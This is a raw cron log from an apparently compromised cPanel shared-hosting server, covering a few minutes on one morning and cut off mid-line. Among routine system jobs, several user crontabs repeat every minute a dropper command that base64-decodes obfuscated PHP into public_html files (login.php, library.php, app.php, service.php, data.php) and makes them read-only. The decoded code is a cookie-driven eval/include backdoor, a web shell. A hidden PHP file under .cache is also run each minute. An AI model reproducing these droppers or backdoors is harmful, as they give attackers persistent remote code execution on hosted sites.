Mar  2 08:05:01 medusa CROND[28982]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:05:01 medusa CROND[28994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:05:01 medusa CROND[28995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:06:01 medusa CROND[14556]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:06:01 medusa CROND[14642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:06:01 medusa CROND[14678]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:06:01 medusa CROND[14679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:06:01 medusa CROND[14681]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:06:01 medusa CROND[14682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:06:01 medusa CROND[14683]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:06:01 medusa CROND[14680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:06:01 medusa CROND[14687]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:06:01 medusa CROND[14688]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:06:01 medusa CROND[14689]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:06:01 medusa CROND[14690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:06:01 medusa CROND[14693]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:06:01 medusa CROND[14697]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:06:01 medusa CROND[14699]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:07:01 medusa CROND[32425]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:07:01 medusa CROND[32496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:07:01 medusa CROND[32618]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:07:01 medusa CROND[32619]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:07:01 medusa CROND[32620]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:07:01 medusa CROND[32628]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:07:01 medusa CROND[32617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:07:01 medusa CROND[32625]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:07:01 medusa CROND[32632]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:07:01 medusa CROND[32633]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:07:01 medusa CROND[32644]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:07:01 medusa CROND[32649]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:08:01 medusa CROND[17669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:08:02 medusa CROND[17739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9Ci